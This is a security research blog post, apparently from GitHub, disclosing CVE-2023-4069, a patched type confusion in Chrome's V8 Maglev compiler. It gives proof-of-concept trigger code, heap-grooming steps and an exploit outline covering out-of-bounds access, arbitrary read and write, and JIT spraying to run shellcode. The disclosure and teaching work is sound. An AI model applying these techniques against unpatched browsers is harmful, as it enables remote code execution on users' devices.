{"id":74790,"date":"2023-10-17T08:00:55","date_gmt":"2023-10-17T15:00:55","guid":{"rendered":"https:\/\/github.blog\/?p=74790"},"modified":"2023-11-16T13:04:49","modified_gmt":"2023-11-16T21:04:49","slug":"getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler","status":"publish","type":"post","link":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/","title":{"rendered":"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler"},"content":{"rendered":"<p>In this post I&#8217;ll exploit CVE-2023-4069, a type confusion vulnerability that I reported in July 2023. The vulnerability\u2014which allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site\u2014is found in <a href=\"https:\/\/v8.dev\/\">v8<\/a>, the Javascript engine of Chrome. It was filed as <a href=\"https:\/\/bugs.chromium.org\/p\/chromium\/issues\/detail?id=1465326\">bug 1465326<\/a> and subsequently fixed in version <a href=\"https:\/\/chromereleases.googleblog.com\/2023\/08\/stable-channel-update-for-desktop.html\">115.0.5790.170\/.171<\/a>.<\/p>\n<p>Vulnerabilities like this are often the starting point for a \u201cone-click\u201d exploit, which compromises the victim\u2019s device when they visit a malicious website. What\u2019s more, renderer RCE in Chrome allows an attacker to compromise and execute arbitrary code in the Chrome renderer process. That being said, the renderer process has limited privilege and such a vulnerability needs to be chained with a second \u201csandbox escape\u201d vulnerability (either another vulnerability in the Chrome browser process or one in the operating system) to compromise Chrome itself or the device.<\/p>\n<p>While many of the most powerful and sophisticated \u201cone-click\u201d attacks are highly targeted, and average users may be more at risk from less sophisticated attacks such as phishing, users should still keep Chrome up-to-date and enable automatic updates, as vulnerabilities in v8 can often be exploited relatively quickly.<\/p>\n<p>The current vulnerability, CVE-2023-4069, exists in the Maglev compiler, a new mid-tier JIT compiler in Chrome that optimizes Javascript functions based on previous knowledge of the input types. This kind of optimization is called speculative optimization and care must be taken to make sure that these assumptions on the inputs are still valid when the optimized code is used. The complexity of the JIT engine has led to many security issues in the past and has been a popular target for attackers.<\/p>\n<h2 id=\"maglev-compiler\"><a class=\"heading-link\" href=\"#maglev-compiler\">Maglev compiler<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>The <a href=\"https:\/\/docs.google.com\/document\/d\/13CwgSL4yawxuYg3iNlM-4ZPCB8RgJya6b8H_E2F-Aek\/edit#heading=h.djws22xta9wz\">Maglev compiler<\/a> is a mid-tier JIT compiler used by v8. Compared to the top-tier JIT compiler, <a href=\"https:\/\/v8.dev\/docs\/turbofan\">TurboFan<\/a>, Maglev generates less optimized code but with a faster compilation speed. Having multiple JIT compilers is common in Javascript engines, the idea being that with multiple tier compilers, you\u2019ll find a more optimal tradeoff between compilation time and runtime optimization.<\/p>\n<p>Generally speaking, when a function is first run, slow bytecode is generated, as the function is run more often, it may get compiled into more optimized code, first from a lowest-tier JIT compiler. If the function gets used more often, then its optimization tier gets moved up, resulting in better runtime performance\u2014but at the expense of a longer compilation time. The idea here is that for code that runs often, the runtime cost will likely outweigh the compile time cost. You can consult <a href=\"https:\/\/ponyfoo.com\/articles\/an-introduction-to-speculative-optimization-in-v8\">An Introduction to Speculative Optimization in v8<\/a> by Benedikt Meurer for more details of how the compilation process works.<\/p>\n<p>The Maglev compiler is enabled by default starting from version 114 of Chrome. Similar to TurboFan, it goes through the bytecode of a Javascript function, taking into account the feedback that was collected from previous runs, and transforms the bytecode into more optimized code. However, unlike TurboFan, which first transforms bytecodes into a <a href=\"https:\/\/darksi.de\/d.sea-of-nodes\/\">&#8220;Sea of Nodes&#8221;<\/a>, Maglev uses an intermediate representation and first transforms bytecodes into SSA (Static Single-Assignment) nodes, which are declared in the file <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/376123191e0361a8639c1783abcf2490a506c748:v8\/src\/maglev\/maglev-ir.h\">maglev-ir.h<\/a>. At the time of writing, the compilation process of Maglev consists mainly of two phases of optimizations: the first phase involves <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/376123191e0361a8639c1783abcf2490a506c748:v8\/src\/maglev\/maglev-compiler.cc;l=403\">building a graph<\/a> from the SSA nodes, while the second phase consists of <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/376123191e0361a8639c1783abcf2490a506c748:v8\/src\/maglev\/maglev-compiler.cc;l=421\">optimizing the representations of Phi values<\/a>.<\/p>\n<h2 id=\"object-construction-in-v8\"><a class=\"heading-link\" href=\"#object-construction-in-v8\">Object construction in v8<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>The bug in this post really has more to do with object constructions than with Maglev, so now I&#8217;ll go through more details and some concepts of how v8 handles Javascript constructions. A Javascript function can be used as a constructor and called with the <code>new<\/code> keyword. When it is called with <code>new<\/code>, the <code><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Operators\/new.target\">new.target<\/a><\/code> variable exists in the function scope that specifies the function being called with <code>new<\/code>. In the following case, <code>new.target<\/code> is the same as the function itself.<\/p>\n<pre><code class=\"language-javascript\">function foo() {\n  %DebugPrint(new.target);\n}\nnew foo();  \/\/ foo\nfoo();      \/\/ undefined\n<\/code><\/pre>\n<p>This, however, is not always the case and <code>new.target<\/code> may be different from the function itself. For example, in case of a construction via a derived constructor:<\/p>\n<pre><code class=\"language-javascript\">\nclass A {\n  constructor() {\n    %DebugPrint(new.target);\n  }\n}\n\nclass B extends A {\n}\n\nnew A();  \/\/ A\nnew B();  \/\/ B\n<\/code><\/pre>\n<p>Another way to have a different <code>new.target<\/code> is to use the <code><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Global_Objects\/Reflect\/construct\">Reflect.construct<\/a><\/code> built-in function:<\/p>\n<pre><code class=\"language-javascript\">\nReflect.construct(A, [], B);  \/\/ B\n<\/code><\/pre>\n<p>The signature of <code>Reflect.construct<\/code> is as follows, which specifies <code>newTarget<\/code> as the <code>new.target<\/code>:<\/p>\n<pre><code class=\"language-javascript\">\nReflect.construct(target, argumentsList, newTarget)\n<\/code><\/pre>\n<p>The <code>Reflect.construct<\/code> method sheds some light on the role of <code>new.target<\/code> in object construction. According to the documentation, <code>target<\/code> is the constructor that is actually executed to create and initialize an object, while <code>newTarget<\/code> provides the <code>prototype<\/code> for the created object. For example, the following creates a <code>Function<\/code> type object and only <code>Function<\/code> is called.<\/p>\n<pre><code class=\"language-javascript\">\nvar x = Reflect.construct(Function, [], Array);\n<\/code><\/pre>\n<p>This is consistent with construction via class inheritance:<\/p>\n<pre><code class=\"language-javascript\">\nclass A {}\n\nclass B extends A {}\n\nvar x = new B();\nconsole.log(x.__proto__ == B.prototype);  \/\/&lt;--- true\n<\/code><\/pre>\n<p>Although in this case, the derived constructor <code>B<\/code> does get called. So what is the object that\u2019s actually created? For functions that actually return a value, or for class constructors, the answer is more clear:<\/p>\n<pre><code class=\"language-javascript\">\nfunction foo() {return [1,2];}\nfunction bar() {}\nvar x = Reflect.construct(foo, [], bar); \/\/&lt;--- returns [1,2]\n<\/code><\/pre>\n<p>but less so otherwise:<\/p>\n<pre><code class=\"language-javascript\">\nfunction foo() {}\nfunction bar() {}\nvar x = Reflect.construct(foo, [], bar); \/\/&lt;--- returns object {}, instead of undefined\n<\/code><\/pre>\n<p>So even if a function does not return an object, using it as <code>target<\/code> in <code>Reflect.construct<\/code> still creates a Javascript object. Roughly speaking, object constructions follow these steps: (see, for example, <code><a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/0e4c9a3d8b9194c4885a1576fce9e0dc9004a22c:v8\/src\/builtins\/x64\/builtins-x64.cc;l=146\">Generate_JSConstructStubGeneric<\/a><\/code>.)<\/p>\n<p>First a default <code>receiver<\/code> (the <code>this<\/code> object) is created using <code><a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/79c9dc7ddf20ae484798ec359d62aafb09a8c291:v8\/src\/builtins\/builtins-constructor-gen.cc;l=260;bpv=0;bpt=0\">FastNewObject<\/a><\/code>, and then the <code>target<\/code> function is invoked. If the <code>target<\/code> function returns an object, then the default <code>receiver<\/code> is discarded and the return value of <code>target<\/code> is used as the returned object instead; otherwise, the default <code>receiver<\/code> is returned.<\/p>\n<h3 id=\"default-receiver-object\"><a class=\"heading-link\" href=\"#default-receiver-object\">Default <code>receiver<\/code> object<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h3>\n<p>The default <code>receiver<\/code> object created by <code>FastNewObject<\/code> is relevant to this bug, so I&#8217;ll explain it in a bit more detail. Most Javascript functions contain an internal field, <code>initial_map<\/code>. This is a <code>Map<\/code> object that determines the type and the memory layout of the default <code>receiver<\/code> object created by this function. In v8, <code>Map<\/code> determines the hidden type of an object, in particular, its memory layout and the storage of its fields. Readers can consult &#8220;<a href=\"https:\/\/mathiasbynens.be\/notes\/shapes-ics\">JavaScript engine fundamentals: Shapes and Inline Caches<\/a>&#8221; by Mathias Bynens to get a high-level understanding of object types and maps.<\/p>\n<p>When creating the default <code>receiver<\/code> object, <code>FastNewObject<\/code> will try to use the <code>initial_map<\/code> of <code>new.target<\/code> (<code>new_target<\/code>) as the <code>Map<\/code> for the default <code>receiver<\/code>:<\/p>\n<pre><code class=\"language-javascript\">\nTNode ConstructorBuiltinsAssembler::FastNewObject(\n    TNode context, TNode target,\n    TNode new_target, Label* call_runtime) {\n  \/\/ Verify that the new target is a JSFunction.\n  Label end(this);\n  TNode new_target_func =\n      HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);\n  ...\n  GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE),\n         call_runtime);\n  TNode<Map> initial_map = CAST(initial_map_or_proto);\n  TNode<Object> new_target_constructor = LoadObjectField(\n      initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);\n  GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);  \/\/&lt;--- check\n  ...\n\n  BIND(&amp;instantiate_map);\n  return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt,\n                                 AllocationFlag::kNone, kWithSlackTracking);\n}\n<\/code><\/pre>\n<p>This is curious, as the default <code>receiver<\/code> should have been created using <code>target<\/code> and <code>new_target<\/code> should only be used to set its <code>prototype<\/code>. The reason for this is because of an optimization that caches both the <code>initial_map<\/code> of <code>target<\/code> and the <code>prototype<\/code> of <code>new_target<\/code> in the <code>initial_map<\/code> of <code>new_target<\/code>, which I&#8217;ll explain now.<\/p>\n<p>In the above, <code>FastNewObject<\/code> has a check (marked as &#8220;check&#8221; in the above snippet) that makes sure that <code>target<\/code> is the same as the <code>constructor<\/code> field of the <code>initial_map<\/code>. For most functions, <code>initial_map<\/code> is created lazily, or its <code>constructor<\/code> field is pointing to itself (<code>new_target<\/code> in this case). So when <code>new_target<\/code> is first used to construct an object with a different <code>target<\/code>, the <code>call_runtime<\/code> slow path is likely taken, which uses <code><a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/ba1b4d2b303094d63f500878f3670f2235f988c7:v8\/src\/objects\/js-objects.cc;l=2374\">JSObject::New<\/a><\/code>:<\/p>\n<pre><code class=\"language-javascript\">\nMaybeHandle JSObject::New(Handle constructor,\n                                    Handle new_target,\n                                    Handle site) {\n  ...\n  Handle<Map> initial_map;\n  ASSIGN_RETURN_ON_EXCEPTION(\n      isolate, initial_map,\n      JSFunction::GetDerivedMap(isolate, constructor, new_target), JSObject);\n  ...\n  Handle result = isolate-&gt;factory()-&gt;NewFastOrSlowJSObjectFromMap(\n      initial_map, initial_capacity, AllocationType::kYoung, site);\n  return result;\n}\n<\/code><\/pre>\n<p>This function calls <code>GetDerivedMap<\/code>, which may call <code><a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/79c9dc7ddf20ae484798ec359d62aafb09a8c291:v8\/src\/objects\/js-function.cc;l=1037\">FastInitializeDerivedMap<\/a><\/code> to create an <code>initial_map<\/code> in the <code>new_target<\/code>:<\/p>\n<pre><code class=\"language-javascript\">\nbool FastInitializeDerivedMap(Isolate* isolate, Handle new_target,\n                              Handle constructor,\n                              Handle<Map> constructor_initial_map) {\n  ...\n  Handle<Map> map =\n      Map::CopyInitialMap(isolate, constructor_initial_map, instance_size,\n                          in_object_properties, unused_property_fields);\n  map-&gt;set_new_target_is_base(false);\n  Handle prototype(new_target-&gt;instance_prototype(), isolate);\n  \/\/Also sets map.prototype to prototype and map.constructor to constructor\n  JSFunction::SetInitialMap(isolate, new_target, map, prototype, constructor);\n  ...\n<\/code><\/pre>\n<p>The <code>initial_map<\/code> created here is a copy of the <code>initial_map<\/code> of <code>target<\/code> (<code>constructor<\/code>), but with its <code>prototype<\/code> set to the <code>prototype<\/code> of <code>new_target<\/code> and its <code>constructor<\/code> set to <code>target<\/code>. This is the only case when the <code>constructor<\/code> of an <code>initial_map<\/code> points to a function other than itself and provides the context for the <code>initial_map<\/code> of <code>new_target<\/code> to be used in <code>FastNewObject<\/code>: if the <code>constructor<\/code> of an <code>initial_map<\/code> points to a different function, then the <code>initial_map<\/code> is a copy of the <code>initial_map<\/code> of the <code>constructor<\/code>. Checking that <code>new_target.initial_map.constructor<\/code> equals <code>target<\/code>, <code>FastNewObject<\/code> ensures that the <code>initial_map<\/code> of <code>new_target<\/code> is a copy of <code>target.initial_map<\/code>, but with <code>new_target.prototype<\/code> as its <code>prototype<\/code>, which is the correct <code>Map<\/code> to use.<\/p>\n<h3 id=\"the-vulnerability\"><a class=\"heading-link\" href=\"#the-vulnerability\">The vulnerability<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h3>\n<p>Derived classes often have no-op default constructors, which do not modify <code>receiver<\/code> objects, for example:<\/p>\n<pre><code class=\"language-javascript\">\nclass A {}\nclass B extends A {}\nclass C extends B {}\nconst o = new C();\n<\/code><\/pre>\n<p>In this case, when calling <code>new C()<\/code>, the default constructor calls to <code>B<\/code> and <code>A<\/code> are no-op and can be omitted. The <code><a href=\"https:\/\/source.chromium.org\/chromium\/_\/chromium\/v8\/v8.git\/+\/b1553b9188afd9bdc6bb3daf0956770ff82b6fd0\">FindNonDefaultConstructorOrConstruct<\/a><\/code> bytecode is an optimization to omit redundant calls to no-op default constructors in these cases. In essence, it walks up the chain of super constructors and skips the default constructors that can be omitted. If it can skip all the intermediate default constructors and reach the base constructor, then <code>FastNewObject<\/code> is called to create the default <code>receiver<\/code> object. The bytecode is introduced in a derived class constructor:<\/p>\n<pre><code class=\"language-javascript\">\nclass A {}\nclass B extends A {}\nnew B();\n<\/code><\/pre>\n<p>Running the above with the <code>print-bytecode<\/code> flag in <code>d8<\/code> (the standalone version of v8), I can see that <code>FindNonDefaultConstructorOrConstruct<\/code> is inserted in the bytecode of the derived constructor <code>B<\/code>:<\/p>\n<pre><code class=\"language-javascript\">\n[generated bytecode for function: B (0x1a820019ba41 )]\nBytecode length: 45\nParameter count 1\nRegister count 7\nFrame size 56\n         0x1a820019be6c @    0 : 19 fe f9          Mov , r1\n 1700 S&gt; 0x1a820019be6f @    3 : 5a f9 fa f5       FindNonDefaultConstructorOrConstruct r1, r0, r5-r6\n ...\n         0x1a820019be7e @   18 : 99 0c             JumpIfTrue [12] (0x1a820019be8a @ 30)\n ...\n         0x1a820019be8a @   30 : 0b 02             Ldar \n         0x1a820019be8c @   32 : ad                ThrowSuperAlreadyCalledIfNotHole\n         0x1a820019be8d @   33 : 19 f7 02          Mov r3, \n 1713 S&gt; 0x1a820019be90 @   36 : 0d 01             LdaSmi [1]\n 1720 E&gt; 0x1a820019be92 @   38 : 32 02 00 02       SetNamedProperty , [0], [2]\n         0x1a820019be96 @   42 : 0b 02             Ldar \n 1727 S&gt; 0x1a820019be98 @   44 : aa                Return\n<\/code><\/pre>\n<p>In particular, if <code>FindNonDefaultConstructorOrConstruct<\/code> succeeds (returns <code>true<\/code>), then the default <code>receiver<\/code> object will be returned immediately.<\/p>\n<p>The vulnerability happens in the handling of <code><a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/ecca8fb3876014c0c5f245df70d7e45e07711e69:v8\/src\/maglev\/maglev-graph-builder.cc;l=5350;bpv=0\">FindNonDefaultConstructorOrConstruct<\/a><\/code> in Maglev.<\/p>\n<pre><code class=\"language-javascript\">\nvoid MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {\n  ...\n          compiler::OptionalHeapObjectRef new_target_function =\n              TryGetConstant(new_target);\n          if (kind == FunctionKind::kDefaultBaseConstructor) {\n            ValueNode* object;\n            if (new_target_function &amp;&amp; new_target_function-&gt;IsJSFunction()) {\n              object = BuildAllocateFastObject(\n                  FastObject(new_target_function-&gt;AsJSFunction(), zone(),\n                             broker()),\n                  AllocationType::kYoung);\n  ...\n<\/code><\/pre>\n<p>If it manages to skip all the default constructors and reach the base constructor, then it&#8217;ll check whether <code>new_target<\/code> is a constant. If that is the case, then <code>BuildAllocateFastObject<\/code>, instead of <code>FastNewObject<\/code>, is used to create the <code>receiver<\/code> object. The problem is that, unlike <code>FastNewObject<\/code>, <code>BuildAllocateFastObject<\/code> uses the <code>initial_map<\/code> of <code>new_target<\/code> without checking its <code>constructor<\/code> field:<\/p>\n<pre><code class=\"language-javascript\">\nValueNode* MaglevGraphBuilder::BuildAllocateFastObject(\n    FastObject object, AllocationType allocation_type) {\n  ...\n  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(\n      object.instance_size, allocation_type);\n  BuildStoreReceiverMap(allocation, object.map);  \/\/ new_target.initial_map\n  ...\n  return allocation;\n}\n<\/code><\/pre>\n<p>Why is this bad? As explained before, when constructing an object, <code>target<\/code>, rather than <code>new_target<\/code>, is called to initialize the object fields. If <code>new_target<\/code> is not of the same type as <code>target<\/code>, then creating an object with the <code>initial_map<\/code> of <code>new_target<\/code> can leave fields uninitialized:<\/p>\n<pre><code class=\"language-javascript\">\nclass A {}\nclass B extends A {}\nvar x = Reflect.construct(B, [], Array);\n<\/code><\/pre>\n<p>In this case, <code>new_target<\/code> is <code>Array<\/code>, so if the <code>initial_map<\/code> of <code>new_target<\/code> is used to create <code>x<\/code> (<code>receiver<\/code>), then <code>x<\/code> is going to be an <code>Array<\/code> type object, which has a field <code>length<\/code> that specifies the size of the array and is used for bounds checking. If <code>B<\/code>, which is the <code>target<\/code>, is used to initialize the <code>Array<\/code> object, then <code>length<\/code> would become uninitialized. This problematic scenario is prevented by checking the <code>constructor<\/code> of <code>new_target.initial_map<\/code> to make sure that it is <code>B<\/code>, and the absence of the check in Maglev results in the vulnerability.<\/p>\n<p>There is one problem here: I need <code>new_target<\/code> to be a constant to reach this code, but when used with <code>Reflect.construct<\/code>, <code>new_target<\/code> is an argument to the function and is never going to be a constant. To overcome this, let&#8217;s take a look at what <code><a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/ecca8fb3876014c0c5f245df70d7e45e07711e69:v8\/src\/maglev\/maglev-graph-builder.cc;l=2234;bpv=0\">TryGetConstant<\/a><\/code>, which is used in <code>FindNonDefaultConstructorOrConstruct<\/code> to check that <code>new_target<\/code> is a constant, does:<\/p>\n<pre><code class=\"language-javascript\">\ncompiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant(\n    ValueNode* node, ValueNode** constant_node) {\n  if (auto result = TryGetConstant(broker(), local_isolate(), node)) {  \/\/&lt;--- 1.\n    if (constant_node) *constant_node = node;\n    return result;\n  }\n  const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);      \/\/is_constant()) {\n    if (constant_node) *constant_node = info-&gt;constant_alternative;\n    return TryGetConstant(info-&gt;constant_alternative);\n  }\n  return {};\n}\n<\/code><\/pre>\n<p>When checking whether a node is constant, <code>TryGetConstant<\/code> first checks if the node is a known global constant (marked as 1. in the above), which will be false in our case. However, it also checks <code>NodeInfo<\/code> for the node to see if it has been marked as a constant by other nodes (marked as 2. in the above). If the value of the node has been checked against a global constant previously, then its <code>NodeInfo<\/code> will be set to a <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/ecca8fb3876014c0c5f245df70d7e45e07711e69:v8\/src\/maglev\/maglev-graph-builder.cc;l=6738;bpv=0\">constant<\/a>. If that\u2019s the case, then I can store <code>new.target<\/code> to a global variable that has not been changed, which will cause Maglev to <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/ecca8fb3876014c0c5f245df70d7e45e07711e69:v8\/src\/maglev\/maglev-graph-builder.cc;l=2802;bpv=0\">insert a CheckValue<\/a> node to ensure that <code>new.target<\/code> is the same as the global constant:<\/p>\n<pre><code class=\"language-javascript\">\nclass A {}\n\nvar x = Array;\n\nclass B extends A {\n  constructor() {\n    x = new.target;  \/\/&lt;--- insert CheckValue node to cache new.target as constant (Array)\n    super();\n  }\n}\n\nReflect.construct(B, [], Array); \/\/&lt;--- Calls `B` as `target` and `Array` as `new_target`\n<\/code><\/pre>\n<p>When <code>B<\/code> is optimized by Maglev and the optimized code is run, <code>Reflect.construct<\/code> is likely to return an <code>Array<\/code> with <code>length<\/code> <code>0<\/code>. This is because initially, the free spaces in the heap mostly contain zeroes, so when the created <code>Array<\/code> uses an uninitialized value as its <code>length<\/code>, this value is most likely going to be zero. However, once a garbage collection is run, the free spaces in the heap will likely contain some non-trivial values (objects that are freed by garbage collection). By creating some objects in the heap, deleting them, and then triggering a garbage collection, I could carefully arrange the heap to make the uninitialized <code>Array<\/code> created through the bug take any value as its <code>length<\/code>. In practice, a rather crude trial-and-error approach (which mostly involves triggering a garbage collection and creating uninitialized <code>Array<\/code> with the bug until you get it right) is sufficient to give me consistent and reliable results:<\/p>\n<pre><code class=\"language-javascript\">\n\/\/----- Create incorrect Maglev code ------\nvar x = Array;\n\nclass B extends A {\n  constructor() {\n    x = new.target;\n    super();\n  }\n}\nfunction construct() {\n  var r = Reflect.construct(B, [], x);\n  return r;\n}\n\/\/Compile optimize code\nfor (let i = 0; i &lt; 2000; i++) construct();\n\/\/-----------------------------------------\n\/\/Trigger garbage collection to fill the free space of the heap\nnew ArrayBuffer(gcSize);\nnew ArrayBuffer(gcSize);\n\ncorruptedArr = construct();  \/\/ length of corruptedArr is 0, try again...\ncorruptedArr = construct();  \/\/ length of corruptedArr takes the pointer of an object, which gives a large value\n<\/code><\/pre>\n<p>While this already allows out-of-bounds (OOB) access to a Javascript array, which is often sufficient to gain code execution, the situation is slightly more complicated in this case.<\/p>\n<h2 id=\"gaining-code-execution\"><a class=\"heading-link\" href=\"#gaining-code-execution\">Gaining code execution<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>The <code>Array<\/code> created via the bug has no elements, so its element store is set to the <code><a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/3b1595b086b25cb118bf613bbc8e245f46bf7512:v8\/src\/heap\/factory-base.cc;l=131;bpv=0;bpt=0\">empty_fixed_array<\/a><\/code>. The main problem is that <code>empty_fixed_array<\/code> is located in a read-only region of the v8 heap, which means that an OOB write needs to be large enough to pass the entire read-only heap or it&#8217;ll just crash on access:<\/p>\n<pre><code class=\"language-javascript\">\nDebugPrint: 0x10560004d5e5: [JSArray]\n - map: 0x10560018ed39 <Map> [FastProperties]\n - prototype: 0x10560018e799 \n - elements: 0x105600000219  [HOLEY_SMI_ELEMENTS]   \/\/&lt;------- address of empty_fixed_array\n ...\n<\/code><\/pre>\n<p>As you can see above, the lower 32 bits of the address of <code>empty_fixed_array<\/code> is <code>0x219<\/code>, which is fairly small. The lower 32 bits of the address is called the compressed address. In v8, most references are only stored as the lower 32 bits of the full 64-bit pointers in the heap, while the higher 32 bits remain constant and are cached in a register. In particular, v8 objects are referenced using the compressed address and this is an optimization called pointer compression.<\/p>\n<p>As explained in Section &#8220;Bypassing the need to get an infoleak&#8221; of my <a href=\"https:\/\/securitylab.github.com\/research\/in_the_wild_chrome_cve_2021_37975\/\">other post<\/a>, the addresses of many objects are very much constant in v8 and depend only on the software version. In particular, the address of <code>empty_fixed_array<\/code> is the same across different runs and software versions, and more importantly, it remains a small address. This means most v8 objects are going to be placed at an address larger than that of the <code>empty_fixed_array<\/code>. In particular, with a large enough <code>length<\/code>, it is possible to access any v8 object.<\/p>\n<p>While at least in theory, this bug can be used to exploit, it is still unclear how I can use this to access and modify a specific object of my choice. Although I can use the uninitialized <code>Array<\/code> created by the bug to search through all objects that are allocated behind <code>empty_fixed_array<\/code>, doing so is inefficient and I may end up accessing some invalid objects that could result in a crash. It would be good if I can at least have an idea of the addresses for objects that I created in Javascript.<\/p>\n<p>In a <a href=\"https:\/\/powerofcommunity.net\/poc2022\/ManYueMo.pdf\">talk<\/a> that I gave at the <a href=\"https:\/\/powerofcommunity.net\/2022.htm\">POC2022<\/a> conference last year, I shared how object addresses in v8 can indeed be predicted accurately by simply knowing the version of Chrome. What I didn&#8217;t know then was that, even after a garbage collection, object addresses can still be predicted reliably.<\/p>\n<pre><code class=\"language-javascript\">\n\/\/Triggers garbage collection\nnew ArrayBuffer(gcSize);\nnew ArrayBuffer(gcSize);\n\ncorruptedArr = construct();\ncorruptedArr = construct();\n\nvar oobDblArr = [0x41, 0x42, 0x51, 0x52, 1.5];  \/\/&lt;---- address remains consisten across runs\n<\/code><\/pre>\n<p>For example, in the above situation, the object <code>oobDblArr<\/code> created after garbage collection remains in the same address fairly consistently across different runs. While the address can sometimes change slightly, it is sufficient to give me a rough starting point to search for <code>oobDblArr<\/code> in <code>corruptedArr<\/code> (the <code>Array<\/code> created from the bug). With this, I can corrupt the length of <code>oobDblArr<\/code> to gain an OOB access with <code>oobDblArr<\/code>. The exploit flow is now very similar to the one described in my <a href=\"https:\/\/github.blog\/2023-09-26-getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler\/\">previous post<\/a>, and consists of the following steps:<\/p>\n<ol>\n<li>Place an <code>Object<\/code> <code>Array<\/code>, <code>oobObjArr<\/code> after <code>oobDblArr<\/code>, and use the OOB read primitive to read the addresses of the objects stored in this array. This allows me to obtain the address of any v8 object.<\/li>\n<li>Place another double array, <code>oobDblArr2<\/code> after <code>oobDblArr<\/code>, and use the OOB write primitive in <code>oobDblArr<\/code> to overwrite the <code>element<\/code> field of <code>oobDblArr2<\/code> to an object address. Accessing the elements of <code>oobDblArr2<\/code> then allows me to read\/write to arbitrary addresses.<\/li>\n<li>While this gives me arbitrary read and write primitives within the v8 heap and also obtains the address of any object, due to the recently introduced <a href=\"https:\/\/docs.google.com\/document\/d\/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8\/edit\">heap sandbox<\/a> in v8, the v8 heap is fairly isolated and it still can&#8217;t access arbitrary memory within the renderer process. In particular, I can no longer use the standard method of overwriting the <code>RWX<\/code> pages that are used for storing Web Assembly code to achieve code execution. Instead, <a href=\"https:\/\/mem2019.github.io\/jekyll\/update\/2022\/02\/06\/DiceCTF-Memory-Hole.html\">JIT spraying<\/a> can be used to bypass the heap sandbox.<\/li>\n<li>The idea of JIT spraying is that a pointer to the JIT optimized code of a function is stored in a Javascript <code>Function<\/code> object, by modifying this pointer using arbitrary read and write primitive within the v8 heap, I can make this pointer jump to the middle of the JIT code. If I use data structures, such as a double array, to store shell code as floating point numbers in the JIT code, then jumping to these data structures will allow me to execute arbitrary code. I refer readers to <a href=\"https:\/\/mem2019.github.io\/jekyll\/update\/2022\/02\/06\/DiceCTF-Memory-Hole.html\">this post<\/a> for more details.<\/li>\n<\/ol>\n<p>The exploit can be found <a href=\"https:\/\/github.com\/github\/securitylab\/tree\/main\/SecurityExploits\/Chrome\/v8\/CVE_2023_4069\">here<\/a> with some set up notes.<\/p>\n<h2 id=\"conclusion\"><a class=\"heading-link\" href=\"#conclusion\">Conclusion<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>With different tiers of optimizations in Chrome, the same functionality often needs to be implemented multiple times, each with different and specific optimization considerations. For complex routines that rely on subtle assumptions, this can result in security problems when porting code between different optimizations, as we have seen in this case, where the implementation of <code>FindNonDefaultConstructorOrConstruct<\/code>has missed out an important check.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post, I&#8217;ll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.<\/p>\n","protected":false},"author":1878,"featured_media":71202,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_gh_post_show_toc":"no","_gh_post_is_no_robots":"no","_gh_post_is_featured":"no","_gh_post_is_excluded":"no","_gh_post_is_unlisted":"no","_gh_post_related_link_1":"","_gh_post_related_link_2":"","_gh_post_related_link_3":"","_gh_post_sq_img":"","_gh_post_sq_img_id":"","_gh_post_cta_title":"","_gh_post_cta_text":"","_gh_post_cta_link":"","_gh_post_cta_button":"Click Here to Learn 